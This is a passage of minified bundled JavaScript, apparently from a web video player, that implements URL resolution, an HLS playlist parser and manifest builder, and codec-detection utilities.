r=s.parseURL(e);if(!r)throw new Error("Error trying to parse base URL.");return r.path=s.normalizePath(r.path),s.buildURLFromParts(r)}var a=s.parseURL(t);if(!a)throw new Error("Error trying to parse relative URL.");if(a.scheme)return n.alwaysNormalize?(a.path=s.normalizePath(a.path),s.buildURLFromParts(a)):t;var o=s.parseURL(e);if(!o)throw new Error("Error trying to parse base URL.");if(!o.netLoc&&o.path&&"/"!==o.path[0]){var l=i.exec(o.path);o.netLoc=l[1],o.path=l[2]}o.netLoc&&!o.path&&(o.path="/");var u={scheme:o.scheme,netLoc:a.netLoc,path:null,params:a.params,query:a.query,fragment:a.fragment};if(!a.netLoc&&(u.netLoc=o.netLoc,"/"!==a.path[0]))if(a.path){var c=o.path,d=c.substring(0,c.lastIndexOf("/")+1)+a.path;u.path=s.normalizePath(d)}else u.path=o.path,a.params||(u.params=o.params,a.query||(u.query=o.query));return null===u.path&&(u.path=n.alwaysNormalize?s.normalizePath(a.path):a.path),s.buildURLFromParts(u)},parseURL:function(e){var i=t.exec(e);return i?{scheme:i[1]||"",netLoc:i[2]||"",path:i[3]||"",params:i[4]||"",query:i[5]||"",fragment:i[6]||""}:null},normalizePath:function(e){for(e=e.split("").reverse().join("").replace(n,"");e.length!==(e=e.replace(r,"")).length;);return e.split("").reverse().join("")},buildURLFromParts:function(e){return e.scheme+e.netLoc+e.path+e.params+e.query+e.fragment}},e.exports=s},71480:(e,t,i)=>{"use strict";i.r(t),i.d(t,{default:()=>da});var n=i(58908),r=i.n(n),s=i(89144),a=i.n(s),o=i(27537),l=i.n(o),u=i(75974),c=i.n(u),d=i(38274),h=i.n(d),p=i(13407),f=i.n(p),m=i(49945),g=i.n(m);function _(){return _=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var i=arguments[t];for(var n in i)Object.prototype.hasOwnProperty.call(i,n)&&(e[n]=i[n])}return e},_.apply(this,arguments)}var v=function(){function e(){this.listeners={}}var t=e.prototype;return t.on=function(e,t){this.listeners[e]||(this.listeners[e]=[]),this.listeners[e].push(t)},t.off=function(e,t){if(!this.listeners[e])return!1;var i=this.listeners[e].indexOf(t);return this.listeners[e]=this.listeners[e].slice(0),this.listeners[e].splice(i,1),i>-1},t.trigger=function(e){var t=this.listeners[e];if(t)if(2===arguments.length)for(var i=t.length,n=0;n<i;++n)t[n].call(this,arguments[1]);else for(var r=Array.prototype.slice.call(arguments,1),s=t.length,a=0;a<s;++a)t[a].apply(this,r)},t.dispose=function(){this.listeners={}},t.pipe=function(e){this.on("data",(function(t){e.push(t)}))},e}();function y(e){for(var t,i=(t=e,r().atob?r().atob(t):Buffer.from(t,"base64").toString("binary")),n=new Uint8Array(i.length),s=0;s<i.length;s++)n[s]=i.charCodeAt(s);return n}class b extends v{constructor(){super(),this.buffer=""}push(e){let t;for(this.buffer+=e,t=this.buffer.indexOf("\n");t>-1;t=this.buffer.indexOf("\n"))this.trigger("data",this.buffer.substring(0,t)),this.buffer=this.buffer.substring(t+1)}}const w=String.fromCharCode(9),T=function(e){const t=/([0-9.]*)?@?([0-9.]*)?/.exec(e||""),i={};return t[1]&&(i.length=parseInt(t[1],10)),t[2]&&(i.offset=parseInt(t[2],10)),i},k=function(e){const t={};if(!e)return t;const i=e.split(new RegExp('(?:^|,)((?:[^=]*)=(?:"[^"]*"|[^,]*))'));let n,r=i.length;for(;r--;)""!==i[r]&&(n=/([^=]*)=(.*)/.exec(i[r]).slice(1),n[0]=n[0].replace(/^\s+|\s+$/g,""),n[1]=n[1].replace(/^\s+|\s+$/g,""),n[1]=n[1].replace(/^['"](.*)['"]$/g,"$1"),t[n[0]]=n[1]);return t};class S extends v{constructor(){super(),this.customParsers=[],this.tagMappers=[]}push(e){let t,i;0!==(e=e.trim()).length&&("#"===e[0]?this.tagMappers.reduce(((t,i)=>{const n=i(e);return n===e?t:t.concat([n])}),[e]).forEach((e=>{for(let t=0;t<this.customParsers.length;t++)if(this.customParsers[t].call(this,e))return;if(0===e.indexOf("#EXT"))if(e=e.replace("\r",""),t=/^#EXTM3U/.exec(e),t)this.trigger("data",{type:"tag",tagType:"m3u"});else{if(t=/^#EXTINF:([0-9\.]*)?,?(.*)?$/.exec(e),t)return i={type:"tag",tagType:"inf"},t[1]&&(i.duration=parseFloat(t[1])),t[2]&&(i.title=t[2]),void this.trigger("data",i);if(t=/^#EXT-X-TARGETDURATION:([0-9.]*)?/.exec(e),t)return i={type:"tag",tagType:"targetduration"},t[1]&&(i.duration=parseInt(t[1],10)),void this.trigger("data",i);if(t=/^#EXT-X-VERSION:([0-9.]*)?/.exec(e),t)return i={type:"tag",tagType:"version"},t[1]&&(i.version=parseInt(t[1],10)),void this.trigger("data",i);if(t=/^#EXT-X-MEDIA-SEQUENCE:(\-?[0-9.]*)?/.exec(e),t)return i={type:"tag",tagType:"media-sequence"},t[1]&&(i.number=parseInt(t[1],10)),void this.trigger("data",i);if(t=/^#EXT-X-DISCONTINUITY-SEQUENCE:(\-?[0-9.]*)?/.exec(e),t)return i={type:"tag",tagType:"discontinuity-sequence"},t[1]&&(i.number=parseInt(t[1],10)),void this.trigger("data",i);if(t=/^#EXT-X-PLAYLIST-TYPE:(.*)?$/.exec(e),t)return i={type:"tag",tagType:"playlist-type"},t[1]&&(i.playlistType=t[1]),void this.trigger("data",i);if(t=/^#EXT-X-BYTERANGE:(.*)?$/.exec(e),t)return i=_(T(t[1]),{type:"tag",tagType:"byterange"}),void this.trigger("data",i);if(t=/^#EXT-X-ALLOW-CACHE:(YES|NO)?/.exec(e),t)return i={type:"tag",tagType:"allow-cache"},t[1]&&(i.allowed=!/NO/.test(t[1])),void this.trigger("data",i);if(t=/^#EXT-X-MAP:(.*)$/.exec(e),t){if(i={type:"tag",tagType:"map"},t[1]){const e=k(t[1]);e.URI&&(i.uri=e.URI),e.BYTERANGE&&(i.byterange=T(e.BYTERANGE))}this.trigger("data",i)}else if(t=/^#EXT-X-STREAM-INF:(.*)$/.exec(e),t){if(i={type:"tag",tagType:"stream-inf"},t[1]){if(i.attributes=k(t[1]),i.attributes.RESOLUTION){const e=i.attributes.RESOLUTION.split("x"),t={};e[0]&&(t.width=parseInt(e[0],10)),e[1]&&(t.height=parseInt(e[1],10)),i.attributes.RESOLUTION=t}i.attributes.BANDWIDTH&&(i.attributes.BANDWIDTH=parseInt(i.attributes.BANDWIDTH,10)),i.attributes["FRAME-RATE"]&&(i.attributes["FRAME-RATE"]=parseFloat(i.attributes["FRAME-RATE"])),i.attributes["PROGRAM-ID"]&&(i.attributes["PROGRAM-ID"]=parseInt(i.attributes["PROGRAM-ID"],10))}this.trigger("data",i)}else{if(t=/^#EXT-X-MEDIA:(.*)$/.exec(e),t)return i={type:"tag",tagType:"media"},t[1]&&(i.attributes=k(t[1])),void this.trigger("data",i);if(t=/^#EXT-X-ENDLIST/.exec(e),t)this.trigger("data",{type:"tag",tagType:"endlist"});else if(t=/^#EXT-X-DISCONTINUITY/.exec(e),t)this.trigger("data",{type:"tag",tagType:"discontinuity"});else{if(t=/^#EXT-X-PROGRAM-DATE-TIME:(.*)$/.exec(e),t)return i={type:"tag",tagType:"program-date-time"},t[1]&&(i.dateTimeString=t[1],i.dateTimeObject=new Date(t[1])),void this.trigger("data",i);if(t=/^#EXT-X-KEY:(.*)$/.exec(e),t)return i={type:"tag",tagType:"key"},t[1]&&(i.attributes=k(t[1]),i.attributes.IV&&("0x"===i.attributes.IV.substring(0,2).toLowerCase()&&(i.attributes.IV=i.attributes.IV.substring(2)),i.attributes.IV=i.attributes.IV.match(/.{8}/g),i.attributes.IV[0]=parseInt(i.attributes.IV[0],16),i.attributes.IV[1]=parseInt(i.attributes.IV[1],16),i.attributes.IV[2]=parseInt(i.attributes.IV[2],16),i.attributes.IV[3]=parseInt(i.attributes.IV[3],16),i.attributes.IV=new Uint32Array(i.attributes.IV))),void this.trigger("data",i);if(t=/^#EXT-X-START:(.*)$/.exec(e),t)return i={type:"tag",tagType:"start"},t[1]&&(i.attributes=k(t[1]),i.attributes["TIME-OFFSET"]=parseFloat(i.attributes["TIME-OFFSET"]),i.attributes.PRECISE=/YES/.test(i.attributes.PRECISE)),void this.trigger("data",i);if(t=/^#EXT-X-CUE-OUT-CONT:(.*)?$/.exec(e),t)return i={type:"tag",tagType:"cue-out-cont"},t[1]?i.data=t[1]:i.data="",void this.trigger("data",i);if(t=/^#EXT-X-CUE-OUT:(.*)?$/.exec(e),t)return i={type:"tag",tagType:"cue-out"},t[1]?i.data=t[1]:i.data="",void this.trigger("data",i);if(t=/^#EXT-X-CUE-IN:(.*)?$/.exec(e),t)return i={type:"tag",tagType:"cue-in"},t[1]?i.data=t[1]:i.data="",void this.trigger("data",i);if(t=/^#EXT-X-SKIP:(.*)$/.exec(e),t&&t[1])return i={type:"tag",tagType:"skip"},i.attributes=k(t[1]),i.attributes.hasOwnProperty("SKIPPED-SEGMENTS")&&(i.attributes["SKIPPED-SEGMENTS"]=parseInt(i.attributes["SKIPPED-SEGMENTS"],10)),i.attributes.hasOwnProperty("RECENTLY-REMOVED-DATERANGES")&&(i.attributes["RECENTLY-REMOVED-DATERANGES"]=i.attributes["RECENTLY-REMOVED-DATERANGES"].split(w)),void this.trigger("data",i);if(t=/^#EXT-X-PART:(.*)$/.exec(e),t&&t[1])return i={type:"tag",tagType:"part"},i.attributes=k(t[1]),["DURATION"].forEach((function(e){i.attributes.hasOwnProperty(e)&&(i.attributes[e]=parseFloat(i.attributes[e]))})),["INDEPENDENT","GAP"].forEach((function(e){i.attributes.hasOwnProperty(e)&&(i.attributes[e]=/YES/.test(i.attributes[e]))})),i.attributes.hasOwnProperty("BYTERANGE")&&(i.attributes.byterange=T(i.attributes.BYTERANGE)),void this.trigger("data",i);if(t=/^#EXT-X-SERVER-CONTROL:(.*)$/.exec(e),t&&t[1])return i={type:"tag",tagType:"server-control"},i.attributes=k(t[1]),["CAN-SKIP-UNTIL","PART-HOLD-BACK","HOLD-BACK"].forEach((function(e){i.attributes.hasOwnProperty(e)&&(i.attributes[e]=parseFloat(i.attributes[e]))})),["CAN-SKIP-DATERANGES","CAN-BLOCK-RELOAD"].forEach((function(e){i.attributes.hasOwnProperty(e)&&(i.attributes[e]=/YES/.test(i.attributes[e]))})),void this.trigger("data",i);if(t=/^#EXT-X-PART-INF:(.*)$/.exec(e),t&&t[1])return i={type:"tag",tagType:"part-inf"},i.attributes=k(t[1]),["PART-TARGET"].forEach((function(e){i.attributes.hasOwnProperty(e)&&(i.attributes[e]=parseFloat(i.attributes[e]))})),void this.trigger("data",i);if(t=/^#EXT-X-PRELOAD-HINT:(.*)$/.exec(e),t&&t[1])return i={type:"tag",tagType:"preload-hint"},i.attributes=k(t[1]),["BYTERANGE-START","BYTERANGE-LENGTH"].forEach((function(e){if(i.attributes.hasOwnProperty(e)){i.attributes[e]=parseInt(i.attributes[e],10);const t="BYTERANGE-LENGTH"===e?"length":"offset";i.attributes.byterange=i.attributes.byterange||{},i.attributes.byterange[t]=i.attributes[e],delete i.attributes[e]}})),void this.trigger("data",i);if(t=/^#EXT-X-RENDITION-REPORT:(.*)$/.exec(e),t&&t[1])return i={type:"tag",tagType:"rendition-report"},i.attributes=k(t[1]),["LAST-MSN","LAST-PART"].forEach((function(e){i.attributes.hasOwnProperty(e)&&(i.attributes[e]=parseInt(i.attributes[e],10))})),void this.trigger("data",i);if(t=/^#EXT-X-DATERANGE:(.*)$/.exec(e),t&&t[1]){i={type:"tag",tagType:"daterange"},i.attributes=k(t[1]),["ID","CLASS"].forEach((function(e){i.attributes.hasOwnProperty(e)&&(i.attributes[e]=String(i.attributes[e]))})),["START-DATE","END-DATE"].forEach((function(e){i.attributes.hasOwnProperty(e)&&(i.attributes[e]=new Date(i.attributes[e]))})),["DURATION","PLANNED-DURATION"].forEach((function(e){i.attributes.hasOwnProperty(e)&&(i.attributes[e]=parseFloat(i.attributes[e]))})),["END-ON-NEXT"].forEach((function(e){i.attributes.hasOwnProperty(e)&&(i.attributes[e]=/YES/i.test(i.attributes[e]))})),["SCTE35-CMD"," SCTE35-OUT","SCTE35-IN"].forEach((function(e){i.attributes.hasOwnProperty(e)&&(i.attributes[e]=i.attributes[e].toString(16))}));const e=/^X-([A-Z]+-)+[A-Z]+$/;for(const t in i.attributes){if(!e.test(t))continue;const n=/[0-9A-Fa-f]{6}/g.test(i.attributes[t]),r=/^\d+(\.\d+)?$/.test(i.attributes[t]);i.attributes[t]=n?i.attributes[t].toString(16):r?parseFloat(i.attributes[t]):String(i.attributes[t])}this.trigger("data",i)}else t=/^#EXT-X-INDEPENDENT-SEGMENTS/.exec(e),t?this.trigger("data",{type:"tag",tagType:"independent-segments"}):this.trigger("data",{type:"tag",data:e.slice(4)})}}}else this.trigger("data",{type:"comment",text:e.slice(1)})})):this.trigger("data",{type:"uri",uri:e}))}addParser({expression:e,customType:t,dataParser:i,segment:n}){"function"!=typeof i&&(i=e=>e),this.customParsers.push((r=>{if(e.exec(r))return this.trigger("data",{type:"custom",data:i(r),customType:t,segment:n}),!0}))}addTagMapper({expression:e,map:t}){this.tagMappers.push((i=>e.test(i)?t(i):i))}}const M=function(e){const t={};return Object.keys(e).forEach((function(i){var n;t[(n=i,n.toLowerCase().replace(/-(\w)/g,(e=>e[1].toUpperCase())))]=e[i]})),t},x=function(e){const{serverControl:t,targetDuration:i,partTargetDuration:n}=e;if(!t)return;const r="#EXT-X-SERVER-CONTROL",s="holdBack",a="partHoldBack",o=i&&3*i,l=n&&2*n;i&&!t.hasOwnProperty(s)&&(t[s]=o,this.trigger("info",{message:`${r} defaulting HOLD-BACK to targetDuration * 3 (${o}).`})),o&&t[s]<o&&(this.trigger("warn",{message:`${r} clamping HOLD-BACK (${t[s]}) to targetDuration * 3 (${o})`}),t[s]=o),n&&!t.hasOwnProperty(a)&&(t[a]=3*n,this.trigger("info",{message:`${r} defaulting PART-HOLD-BACK to partTargetDuration * 3 (${t[a]}).`})),n&&t[a]<l&&(this.trigger("warn",{message:`${r} clamping PART-HOLD-BACK (${t[a]}) to partTargetDuration * 2 (${l}).`}),t[a]=l)};class L extends v{constructor(){super(),this.lineStream=new b,this.parseStream=new S,this.lineStream.pipe(this.parseStream);const e=this,t=[];let i,n,r={},s=!1;const a=function(){},o={AUDIO:{},VIDEO:{},"CLOSED-CAPTIONS":{},SUBTITLES:{}};let l=0;this.manifest={allowCache:!0,discontinuityStarts:[],segments:[]};let u=0,c=0;const d={};this.on("end",(()=>{r.uri||!r.parts&&!r.preloadHints||(!r.map&&i&&(r.map=i),!r.key&&n&&(r.key=n),r.timeline||"number"!=typeof l||(r.timeline=l),this.manifest.preloadSegment=r)})),this.parseStream.on("data",(function(h){let p,f;({tag(){({version(){h.version&&(this.manifest.version=h.version)},"allow-cache"(){this.manifest.allowCache=h.allowed,"allowed"in h||(this.trigger("info",{message:"defaulting allowCache to YES"}),this.manifest.allowCache=!0)},byterange(){const e={};"length"in h&&(r.byterange=e,e.length=h.length,"offset"in h||(h.offset=u)),"offset"in h&&(r.byterange=e,e.offset=h.offset),u=e.offset+e.length},endlist(){this.manifest.endList=!0},inf(){"mediaSequence"in this.manifest||(this.manifest.mediaSequence=0,this.trigger("info",{message:"defaulting media sequence to zero"})),"discontinuitySequence"in this.manifest||(this.manifest.discontinuitySequence=0,this.trigger("info",{message:"defaulting discontinuity sequence to zero"})),h.duration>0&&(r.duration=h.duration),0===h.duration&&(r.duration=.01,this.trigger("info",{message:"updating zero segment duration to a small value"})),this.manifest.segments=t},key(){if(h.attributes)if("NONE"!==h.attributes.METHOD)if(h.attributes.URI){if("com.apple.streamingkeydelivery"===h.attributes.KEYFORMAT)return this.manifest.contentProtection=this.manifest.contentProtection||{},void(this.manifest.contentProtection["com.apple.fps.1_0"]={attributes:h.attributes});if("com.microsoft.playready"===h.attributes.KEYFORMAT)return this.manifest.contentProtection=this.manifest.contentProtection||{},void(this.manifest.contentProtection["com.microsoft.playready"]={uri:h.attributes.URI});if("urn:uuid:edef8ba9-79d6-4ace-a3c8-27dcd51d21ed"===h.attributes.KEYFORMAT)return-1===["SAMPLE-AES","SAMPLE-AES-CTR","SAMPLE-AES-CENC"].indexOf(h.attributes.METHOD)?void this.trigger("warn",{message:"invalid key method provided for Widevine"}):("SAMPLE-AES-CENC"===h.attributes.METHOD&&this.trigger("warn",{message:"SAMPLE-AES-CENC is deprecated, please use SAMPLE-AES-CTR instead"}),"data:text/plain;base64,"!==h.attributes.URI.substring(0,23)?void this.trigger("warn",{message:"invalid key URI provided for Widevine"}):h.attributes.KEYID&&"0x"===h.attributes.KEYID.substring(0,2)?(this.manifest.contentProtection=this.manifest.contentProtection||{},void(this.manifest.contentProtection["com.widevine.alpha"]={attributes:{schemeIdUri:h.attributes.KEYFORMAT,keyId:h.attributes.KEYID.substring(2)},pssh:y(h.attributes.URI.split(",")[1])})):void this.trigger("warn",{message:"invalid key ID provided for Widevine"}));h.attributes.METHOD||this.trigger("warn",{message:"defaulting key method to AES-128"}),n={method:h.attributes.METHOD||"AES-128",uri:h.attributes.URI},void 0!==h.attributes.IV&&(n.iv=h.attributes.IV)}else this.trigger("warn",{message:"ignoring key declaration without URI"});else n=null;else this.trigger("warn",{message:"ignoring key declaration without attribute list"})},"media-sequence"(){isFinite(h.number)?this.manifest.mediaSequence=h.number:this.trigger("warn",{message:"ignoring invalid media sequence: "+h.number})},"discontinuity-sequence"(){isFinite(h.number)?(this.manifest.discontinuitySequence=h.number,l=h.number):this.trigger("warn",{message:"ignoring invalid discontinuity sequence: "+h.number})},"playlist-type"(){/VOD|EVENT/.test(h.playlistType)?this.manifest.playlistType=h.playlistType:this.trigger("warn",{message:"ignoring unknown playlist type: "+h.playlist})},map(){i={},h.uri&&(i.uri=h.uri),h.byterange&&(i.byterange=h.byterange),n&&(i.key=n)},"stream-inf"(){this.manifest.playlists=t,this.manifest.mediaGroups=this.manifest.mediaGroups||o,h.attributes?(r.attributes||(r.attributes={}),_(r.attributes,h.attributes)):this.trigger("warn",{message:"ignoring empty stream-inf attributes"})},media(){if(this.manifest.mediaGroups=this.manifest.mediaGroups||o,!(h.attributes&&h.attributes.TYPE&&h.attributes["GROUP-ID"]&&h.attributes.NAME))return void this.trigger("warn",{message:"ignoring incomplete or missing media group"});const e=this.manifest.mediaGroups[h.attributes.TYPE];e[h.attributes["GROUP-ID"]]=e[h.attributes["GROUP-ID"]]||{},p=e[h.attributes["GROUP-ID"]],f={default:/yes/i.test(h.attributes.DEFAULT)},f.default?f.autoselect=!0:f.autoselect=/yes/i.test(h.attributes.AUTOSELECT),h.attributes.LANGUAGE&&(f.language=h.attributes.LANGUAGE),h.attributes.URI&&(f.uri=h.attributes.URI),h.attributes["INSTREAM-ID"]&&(f.instreamId=h.attributes["INSTREAM-ID"]),h.attributes.CHARACTERISTICS&&(f.characteristics=h.attributes.CHARACTERISTICS),h.attributes.FORCED&&(f.forced=/yes/i.test(h.attributes.FORCED)),p[h.attributes.NAME]=f},discontinuity(){l+=1,r.discontinuity=!0,this.manifest.discontinuityStarts.push(t.length)},"program-date-time"(){void 0===this.manifest.dateTimeString&&(this.manifest.dateTimeString=h.dateTimeString,this.manifest.dateTimeObject=h.dateTimeObject),r.dateTimeString=h.dateTimeString,r.dateTimeObject=h.dateTimeObject},targetduration(){!isFinite(h.duration)||h.duration<0?this.trigger("warn",{message:"ignoring invalid target duration: "+h.duration}):(this.manifest.targetDuration=h.duration,x.call(this,this.manifest))},start(){h.attributes&&!isNaN(h.attributes["TIME-OFFSET"])?this.manifest.start={timeOffset:h.attributes["TIME-OFFSET"],precise:h.attributes.PRECISE}:this.trigger("warn",{message:"ignoring start declaration without appropriate attribute list"})},"cue-out"(){r.cueOut=h.data},"cue-out-cont"(){r.cueOutCont=h.data},"cue-in"(){r.cueIn=h.data},skip(){this.manifest.skip=M(h.attributes),this.warnOnMissingAttributes_("#EXT-X-SKIP",h.attributes,["SKIPPED-SEGMENTS"])},part(){s=!0;const e=this.manifest.segments.length,t=M(h.attributes);r.parts=r.parts||[],r.parts.push(t),t.byterange&&(t.byterange.hasOwnProperty("offset")||(t.byterange.offset=c),c=t.byterange.offset+t.byterange.length);const i=r.parts.length-1;this.warnOnMissingAttributes_(`#EXT-X-PART #${i} for segment #${e}`,h.attributes,["URI","DURATION"]),this.manifest.renditionReports&&this.manifest.renditionReports.forEach(((e,t)=>{e.hasOwnProperty("lastPart")||this.trigger("warn",{message:`#EXT-X-RENDITION-REPORT #${t} lacks required attribute(s): LAST-PART`})}))},"server-control"(){const e=this.manifest.serverControl=M(h.attributes);e.hasOwnProperty("canBlockReload")||(e.canBlockReload=!1,this.trigger("info",{message:"#EXT-X-SERVER-CONTROL defaulting CAN-BLOCK-RELOAD to false"})),x.call(this,this.manifest),e.canSkipDateranges&&!e.hasOwnProperty("canSkipUntil")&&this.trigger("warn",{message:"#EXT-X-SERVER-CONTROL lacks required attribute CAN-SKIP-UNTIL which is required when CAN-SKIP-DATERANGES is set"})},"preload-hint"(){const e=this.manifest.segments.length,t=M(h.attributes),i=t.type&&"PART"===t.type;r.preloadHints=r.preloadHints||[],r.preloadHints.push(t),t.byterange&&(t.byterange.hasOwnProperty("offset")||(t.byterange.offset=i?c:0,i&&(c=t.byterange.offset+t.byterange.length)));const n=r.preloadHints.length-1;if(this.warnOnMissingAttributes_(`#EXT-X-PRELOAD-HINT #${n} for segment #${e}`,h.attributes,["TYPE","URI"]),t.type)for(let i=0;i<r.preloadHints.length-1;i++){const s=r.preloadHints[i];s.type&&s.type===t.type&&this.trigger("warn",{message:`#EXT-X-PRELOAD-HINT #${n} for segment #${e} has the same TYPE ${t.type} as preload hint #${i}`})}},"rendition-report"(){const e=M(h.attributes);this.manifest.renditionReports=this.manifest.renditionReports||[],this.manifest.renditionReports.push(e);const t=this.manifest.renditionReports.length-1,i=["LAST-MSN","URI"];s&&i.push("LAST-PART"),this.warnOnMissingAttributes_(`#EXT-X-RENDITION-REPORT #${t}`,h.attributes,i)},"part-inf"(){this.manifest.partInf=M(h.attributes),this.warnOnMissingAttributes_("#EXT-X-PART-INF",h.attributes,["PART-TARGET"]),this.manifest.partInf.partTarget&&(this.manifest.partTargetDuration=this.manifest.partInf.partTarget),x.call(this,this.manifest)},daterange(){this.manifest.daterange=this.manifest.daterange||[],this.manifest.daterange.push(M(h.attributes));const e=this.manifest.daterange.length-1;this.warnOnMissingAttributes_(`#EXT-X-DATERANGE #${e}`,h.attributes,["ID","START-DATE"]);const t=this.manifest.daterange[e];t.endDate&&t.startDate&&new Date(t.endDate)<new Date(t.startDate)&&this.trigger("warn",{message:"EXT-X-DATERANGE END-DATE must be equal to or later than the value of the START-DATE"}),t.duration&&t.duration<0&&this.trigger("warn",{message:"EXT-X-DATERANGE DURATION must not be negative"}),t.plannedDuration&&t.plannedDuration<0&&this.trigger("warn",{message:"EXT-X-DATERANGE PLANNED-DURATION must not be negative"});const i=!!t.endOnNext;if(i&&!t.class&&this.trigger("warn",{message:"EXT-X-DATERANGE with an END-ON-NEXT=YES attribute must have a CLASS attribute"}),i&&(t.duration||t.endDate)&&this.trigger("warn",{message:"EXT-X-DATERANGE with an END-ON-NEXT=YES attribute must not contain DURATION or END-DATE attributes"}),t.duration&&t.endDate){const i=t.startDate,n=i.setSeconds(i.getSeconds()+t.duration);this.manifest.daterange[e].endDate=new Date(n)}if(t&&!this.manifest.dateTimeString&&this.trigger("warn",{message:"A playlist with EXT-X-DATERANGE tag must contain atleast one EXT-X-PROGRAM-DATE-TIME tag"}),d[t.id]){for(const e in d[t.id])if(d[t.id][e]!==t[e]){this.trigger("warn",{message:"EXT-X-DATERANGE tags with the same ID in a playlist must have the same attributes and same attribute values"});break}}else d[t.id]=t},"independent-segments"(){this.manifest.independentSegments=!0}}[h.tagType]||a).call(e)},uri(){r.uri=h.uri,t.push(r),this.manifest.targetDuration&&!("duration"in r)&&(this.trigger("warn",{message:"defaulting segment duration to the target duration"}),r.duration=this.manifest.targetDuration),n&&(r.key=n),r.timeline=l,i&&(r.map=i),c=0,r={}},comment(){},custom(){h.segment?(r.custom=r.custom||{},r.custom[h.customType]=h.data):(this.manifest.custom=this.manifest.custom||{},this.manifest.custom[h.customType]=h.data)}})[h.type].call(e)}))}warnOnMissingAttributes_(e,t,i){const n=[];i.forEach((function(e){t.hasOwnProperty(e)||n.push(e)})),n.length&&this.trigger("warn",{message:`${e} lacks required attribute(s): ${n.join(", ")}`})}push(e){this.lineStream.push(e)}end(){this.lineStream.push("\n"),this.trigger("end")}addParser(e){this.parseStream.addParser(e)}addTagMapper(e){this.parseStream.addTagMapper(e)}}var C,D,E={mp4:/^(av0?1|avc0?[1234]|vp0?9|flac|opus|mp3|mp4a|mp4v|stpp.ttml.im1t)/,webm:/^(vp0?[89]|av0?1|opus|vorbis)/,ogg:/^(vp0?[89]|theora|flac|opus|vorbis)/,video:/^(av0?1|avc0?[1234]|vp0?[89]|hvc1|hev1|theora|mp4v)/,audio:/^(mp4a|flac|vorbis|opus|ac-[34]|ec-3|alac|mp3|speex|aac)/,text:/^(stpp.ttml.im1t)/,muxerVideo:/^(avc0?1)/,muxerAudio:/^(mp4a)/,muxerText:/a^/},P=["video","audio","text"],A=["Video","Audio","Text"],I=function(e){return e?e.replace(/avc1\.(\d+)\.(\d+)/i,(function(e,t,i){return"avc1."+("00"+Number(t).toString(16)).slice(-2)+"00"+("00"+Number(i).toString(16)).slice(-2)})):e},O=function(e){void 0===e&&(e="");var t=e.split(","),i=[];return t.forEach((function(e){var t;e=e.trim(),P.forEach((function(n){var r=E[n].exec(e.toLowerCase());if(r&&!(r.length<=1)){t=n;var s=e.substring(0,r[1].length),a=e.replace(s,"");i.push({type:s,details:a,mediaType:n})}})),t||i.push({type:e,details:"",mediaType:"unknown"})})),i},Y=function(e){return void 0===e&&(e=""),E.audio.test(e.trim().toLowerCase())},$=function(e){if(e&&"string"==typeof e){var t,i=e.toLowerCase().split(",").map((function(e){return I(e.trim())})),n="video";1===i.length&&Y(i[0])?n="audio":1===i.length&&(void 0===(t=i[0])&&(t=""),E.text.test(t.trim().toLowerCase()))&&(n="application");var r="mp4";return i.every((function(e){return E.mp4.test(e)}))?r="mp4":i.every((function(e){return E.webm.test(e)}))?r="webm":i.every((function(e){return E.ogg.test(e)}))&&(r="ogg"),n+"/"+r+';codecs="'+e+'"'}},j=function(e){return void 0===e&&(e=""),r().MediaSource&&r().MediaSource.isTypeSupported&&r().MediaSource.isTypeSupported($(e))||!1},N=function(e){return void 0===e&&(e=""),e.toLowerCase().split(",").every((function(e){e=e.trim();for(var t=0;t<A.length;t++)if(E["muxer"+A[t]].test(e))return!0;return!1}))},R="mp4a.40.2",H=/^(audio|video|application)\/(x-|vnd\.apple\.)?mpegurl/i,F=/^application\/dash\+xml/i,B=function(e){return H.test(e)?"hls":F.test(e)?"dash":"application/vnd.videojs.vhs+json"===e?"vhs-json":null},U=function(e){return"function"===ArrayBuffer.isView?ArrayBuffer.isView(e):e&&e.buffer instanceof ArrayBuffer},W=function(e){return e instanceof Uint8Array?e:(Array.isArray(e)||U(e)||e instanceof ArrayBuffer||(e="number"!=typeof e||"number"==typeof e&&e!=e?0:[e]),new Uint8Array(e&&e.buffer||e,e&&e.byteOffset||0,e&&e.byteLength||0))},z=r().BigInt||Number,q=[z("0x1"),z("0x100"),z("0x10000"),z("0x1000000"),z("0x100000000"),z("0x10000000000"),z("0x1000000000000"),z("0x100000000000000"),z("0x10000000000000000")],V=(C=new Uint16Array([65484]),255===(D=new Uint8Array(C.buffer,C.byteOffset,C.byteLength))[0]||D[0],function(e,t){var i=void 0===t?{}:t,n=i.signed,r=void 0!==n&&n,s=i.le,a=void 0!==s&&s;e=W(e);var o=a?"reduce":"reduceRight",l=(e[o]?e[o]:Array.prototype[o]).call(e,(function(t,i,n){var r=a?n:Math.abs(n+1-e.length);return t+z(i)*q[r]}),z(0));if(r){var u=q[e.length]/z(2)-z(1);(l=z(l))>u&&(l-=u,l-=u,l-=z(2))}return Number(l)}),J=function(e,t){if("string"!=typeof e&&e&&"function"==typeof e.toString&&(e=e.toString()),"string"!=typeof e)return new Uint8Array;t||(e=unescape(encodeURIComponent(e)));for(var i=new Uint8Array(e.length),n=0;n<e.length;n++)i[n]=e.charCodeAt(n);return i},G=function(e,t,i){var n=void 0===i?{}:i,r=n.offset,s=void 0===r?0:r,a=n.mask,o=void 0===a?[]:a;e=W(e);var l=(t=W(t)).every?t.every:Array.prototype.every;return t.length&&e.length-s>=t.length&&l.call(t,(function(t,i){return t===(o[i]?o[i]&e[s+i]:e[s+i])}))};const K=function(e,t){if(/^[a-z]+:/i.test(t))return t;/^data:/.test(e)&&(e=r().location&&r().location.href||"");var i="function"==typeof r().URL,n=/^\/\//.test(e),s=!r().location&&!/\/\//i.test(e);if(i?e=new(r().URL)(e,r().location||"http://example.com"):/\/\//i.test(e)||(e=g().buildAbsoluteURL(r().location&&r().location.href||"",e)),i){var a=new URL(t,e);return s?a.href.slice(18):n?a.href.slice(a.protocol.length):a.href}return g().buildAbsoluteURL(e,t)};var X=i(3969);const Z=e=>!!e&&"object"==typeof e,Q=(...e)=>e.reduce(((e,t)=>("object"!=typeof t||Object.keys(t).forEach((i=>{Array.isArray(e[i])&&Array.isArray(t[i])?e[i]=e[i].concat(t[i]):Z(e[i])&&Z(t[i])?e[i]=Q(e[i],t[i]):e[i]=t[i]})),e)),{}),ee=e=>Object.keys(e).map((t=>e[t])),te=e=>e.reduce(((e,t)=>e.concat(t)),[]),ie=e=>{if(!e.length)return[];const t=[];for(let i=0;i<e.length;i++)t.push(e[i]);return t},ne=({baseUrl:e="",source:t="",range:i="",indexRange:n=""})=>{const 